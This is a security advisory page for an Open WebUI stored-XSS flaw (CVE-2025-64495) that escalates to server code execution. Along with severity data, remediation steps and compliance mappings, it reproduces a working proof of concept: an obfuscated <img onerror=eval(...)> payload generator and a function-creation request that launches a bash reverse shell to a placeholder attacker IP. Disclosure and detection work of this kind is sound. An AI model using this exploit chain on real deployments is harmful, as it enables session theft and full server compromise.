CVE-2025-64495: Open WebUI: XSS-to-RCE via malicious prompt injection

GHSA-w7xj-8fx7-wfch HIGH PoC AVAILABLE CISA: TRACK*
Published November 7, 2025
CISO Take

Self-hosted Open WebUI deployments on v0.6.34 or earlier are vulnerable to a stored XSS that escalates to full server RCE if an admin triggers a malicious prompt command. Update to v0.6.35 immediately and audit who holds prompt creation permissions — this is the critical blast radius control. Disable 'Insert Prompt as Rich Text' as an emergency workaround if patching is delayed.

What is the risk?

High severity in practice despite the 'non-default' caveat: the Rich Text setting is a user preference that attackers can socially engineer admins to enable, and the RCE path via Python Functions is fully documented with a working PoC. Organizations running Open WebUI as an internal AI assistant — common in enterprise AI pilots — face credential theft for all users and server compromise if any admin is targeted. EPSS is currently low but the PoC quality and RCE chain will drive exploitation.

What systems are affected?

Package Ecosystem Vulnerable Range Patched
Open WebUI npm <= 0.6.34 0.6.35
142.4K Pushed 3d ago 77% patched ~5d to patch Full package profile →
Open WebUI pip <= 0.6.34 0.6.35
142.4K Pushed 3d ago 77% patched ~5d to patch Full package profile →

How severe is it?

CVSS 3.1
8.7 / 10
EPSS
0.4%
chance of exploitation in 30 days
Higher than 36% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Moderate
Exploitation Confidence
medium
CISA SSVC: Public PoC
Public PoC indexed (trickest/cve)
Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC Low
PR Low
UI Required
S Changed
C High
I High
A None

What should I do?

6 steps
  1. Patch immediately: upgrade open-webui to v0.6.35 (fixes via DOMPurify sanitization in RichTextInput.svelte).

  2. Emergency workaround: enforce 'Insert Prompt as Rich Text' = disabled organization-wide via policy or configuration management until patched.

  3. Audit and restrict USER_PERMISSIONS_WORKSPACE_PROMPTS_ACCESS — default deny for non-admin users.

  4. Review existing custom prompts for <img src=x onerror=, <script>, or String.fromCodePoint patterns as IOCs.

  5. For detection: monitor Open WebUI API calls to /api/v1/functions/create from unusual sessions or rapid succession.

  6. Check server logs for unexpected outbound connections (reverse shell indicators) originating from the Open WebUI process.

What does CISA's SSVC say?

Decision Track*
Exploitation poc
Automatable No
Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity
ISO 42001
A.6.2.5 - Security of AI systems
NIST AI RMF
GOVERN-6.1 - Policies for third-party AI components MANAGE-2.2 - Mechanisms to sustain AI risk management
OWASP LLM Top 10
LLM01:2025 - Prompt Injection LLM02:2025 - Insecure Output Handling

Frequently Asked Questions

What is CVE-2025-64495?

Self-hosted Open WebUI deployments on v0.6.34 or earlier are vulnerable to a stored XSS that escalates to full server RCE if an admin triggers a malicious prompt command. Update to v0.6.35 immediately and audit who holds prompt creation permissions — this is the critical blast radius control. Disable 'Insert Prompt as Rich Text' as an emergency workaround if patching is delayed.

Is CVE-2025-64495 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2025-64495, increasing the risk of exploitation.

How to fix CVE-2025-64495?

1. Patch immediately: upgrade open-webui to v0.6.35 (fixes via DOMPurify sanitization in RichTextInput.svelte). 2. Emergency workaround: enforce 'Insert Prompt as Rich Text' = disabled organization-wide via policy or configuration management until patched. 3. Audit and restrict USER_PERMISSIONS_WORKSPACE_PROMPTS_ACCESS — default deny for non-admin users. 4. Review existing custom prompts for `<img src=x onerror=`, `<script>`, or `String.fromCodePoint` patterns as IOCs. 5. For detection: monitor Open WebUI API calls to /api/v1/functions/create from unusual sessions or rapid succession. 6. Check server logs for unexpected outbound connections (reverse shell indicators) originating from the Open WebUI process.

What systems are affected by CVE-2025-64495?

This vulnerability affects the following AI/ML architecture patterns: AI chat interfaces, LLM frontends, Agent frameworks, Multi-tenant AI platforms.

What is the CVSS score for CVE-2025-64495?

CVE-2025-64495 has a CVSS v3.1 base score of 8.7 (HIGH). The EPSS exploitation probability is 0.45%.

What is the AI security impact?

Affected AI Architectures

AI chat interfacesLLM frontendsAgent frameworksMulti-tenant AI platforms

MITRE ATLAS Techniques

AML.T0011 User Execution
AML.T0049 Exploit Public-Facing Application
AML.T0050 Command and Scripting Interpreter
AML.T0051.002 Triggered
AML.T0055 Unsecured Credentials
AML.T0072 Reverse Shell
AML.T0096 AI Service API

Compliance Controls Affected

EU AI Act: Article 15
ISO 42001: A.6.2.5
NIST AI RMF: GOVERN-6.1, MANAGE-2.2
OWASP LLM Top 10: LLM01:2025, LLM02:2025

What are the technical details?

Original Advisory

### Summary The functionality that inserts custom prompts into the chat window is vulnerable to DOM XSS when 'Insert Prompt as Rich Text' is enabled, since the prompt body is assigned to the DOM sink `.innerHtml` without sanitisation. Any user with permissions to create prompts can abuse this to plant a payload that could be triggered by other users if they run the corresponding `/` command to insert the prompt. ### Details The affected line is https://github.com/open-webui/open-webui/blob/7a83e7dfa367d19f762ec17cac5e4a94ea2bd97d/src/lib/components/common/RichTextInput.svelte#L348 ```js export const replaceCommandWithText = async (text) => { const { state, dispatch } = editor.view; const { selection } = state; const pos = selection.from; // Get the plain text of this document // const docText = state.doc.textBetween(0, state.doc.content.size, '\n', '\n'); // Find the word boundaries at cursor const { start, end } = getWordBoundsAtPos(state.doc, pos); let tr = state.tr; if (insertPromptAsRichText) { const htmlContent = marked .parse(text, { breaks: true, gfm: true }) .trim(); // Create a temporary div to parse HTML const tempDiv = document.createElement('div'); tempDiv.innerHTML = htmlContent; // <---- vulnerable ``` User controlled HTML from the prompt body is assigned to `tempDiv.innerHTML` without (meaningful) sanitisation. `marked.parse` introduces some character limitations but does not sanitise the content, as stated in their README. <img width="1816" height="498" alt="image" src="https://github.com/user-attachments/assets/bd0980fc-ad87-460a-94b8-02bc94bea1a2" /> ### PoC Create a custom prompt as follows: <img width="3006" height="1100" alt="image" src="https://github.com/user-attachments/assets/47de7a11-514d-48f9-8c6a-04ab1894f981" /> Via settings, ensure 'Insert Prompt as Rich Text' is enabled: <img width="2204" height="1268" alt="image" src="https://github.com/user-attachments/assets/f188065f-7c11-4f09-9ced-4e7d2e6f4d48" /> Run the command `/poc` via a chat window. <img width="2470" height="1332" alt="image" src="https://github.com/user-attachments/assets/5a112f51-210a-43f3-b999-915b1d0e6744" /> Observe the alert is triggered. <img width="2452" height="1456" alt="image" src="https://github.com/user-attachments/assets/fa15dbd6-44a7-4cfc-bd93-4cc56aac5eea" /> #### RCE Since admins can naturally run arbitrary Python code on the server via the 'Functions' feature, this XSS could be used to force any admin that triggers it to run one such of these function with Python code of the attackers choosing. This can be accomplished by making them run the following fetch request: ```js fetch("https://<HOST>/api/v1/functions/create", { method: "POST", credentials: "include", headers: { "Content-Type": "application/json", "Accept": "application/json" }, body: JSON.stringify({ id: "pentest_cmd_test", name: "pentest cmd test", meta: { description: "pentest cmd test" }, content: "import os;os.system('echo RCE')" }) }) ``` This cannot be done directly because the `marked.parse` call the HTML is passed through will neutralise payloads containing quotes <img width="1718" height="482" alt="image" src="https://github.com/user-attachments/assets/6797efbd-4f2e-4570-ad9f-59a65dba1745" /> To get around this strings must be manually constructed from their decimal values using `String.fromCodePoint`. The following Python script automates generating a viable payload from given JavaScript: ```py payload2 = """ fetch("https://<HOST>/api/v1/functions/create", { method: "POST", credentials: "include", headers: { "Content-Type": "application/json", "Accept": "application/json" }, body: JSON.stringify({ id: "pentest_cmd_test", name: "pentest cmd test", meta: { description: "pentest cmd test" }, content: "import os;os.system('bash -c \\\\'/bin/bash -i >& /dev/tcp/x.x.x.x/443 0>&1\\\\'')" }) }) """.lstrip().rstrip() out = "" for c in payload2: out += f"String.fromCodePoint({ord(c)})+" print(f"<img src=x onerror=eval({out[:-1]})>") ``` An admin that triggers the corresponding payload via a prompt command will trigger a Python function to run that runs a reverse shell payload, giving command line access on the server to the attacker. <img width="2476" height="756" alt="image" src="https://github.com/user-attachments/assets/01f9e991-832a-4cfb-8c3e-3b2ce02cff15" /> <img width="2492" height="1530" alt="image" src="https://github.com/user-attachments/assets/d08eb48f-a688-41a1-9b52-e91df7ced929" /> <img width="1968" height="916" alt="image" src="https://github.com/user-attachments/assets/2ad6a19e-f151-4ac9-9903-0961e33fe42f" /> ### Impact Any user running the malicious prompt could have their account compromised via malicious JavaScript that reads their session token from localstorage and exfiltrates it to an attacker controlled server. Admin users running the malicious prompt risk exposing the backend server to remote code execution (RCE) since malicious JavaScript running via the vulnerability can be used to send requests as the admin user that run malicious Python functions, that may run operating system commands. ### Caveats Low privilege users cannot create prompts by default, the USER_PERMISSIONS_WORKSPACE_PROMPTS_ACCESS permission is needed, which may be given out via e.g. a custom group. see: https://docs.openwebui.com/features/workspace/prompts/#access-control-and-permissions A victim user running the command to trigger the prompt needs to have the 'Insert Prompt as Rich Text' setting enabled via preferences for the vulnerability to trigger. The setting is off by default. Users with this setting disabled are unaffected. ### Remediation Sanitise the user controlled HTML with DOMPurify before assigning it to `.innerHtml`

Exploitation Scenario

An attacker with prompt-creation permissions (e.g., a compromised low-privilege account or malicious insider) crafts a custom prompt containing an `<img src=x onerror=eval(...)>` payload where the JavaScript is obfuscated using String.fromCodePoint to bypass the marked.parse quote filter. The prompt is published and named something innocuous like '/summary'. When a targeted admin uses the /summary command with Rich Text enabled — during normal workflow — the XSS fires, silently POSTs to /api/v1/functions/create with a Python reverse shell payload using the admin's session credentials, and establishes an interactive shell on the server. The attacker now has full OS access to the AI backend, including model weights, API keys, and any data processed by the platform.

Weaknesses (CWE)

CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'): The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

  • [Architecture and Design] Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
  • [Implementation, Architecture and Design] Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed. HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Casca

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Timeline

Published
November 7, 2025
Last Modified
November 27, 2025
First Seen
March 24, 2026

Related Vulnerabilities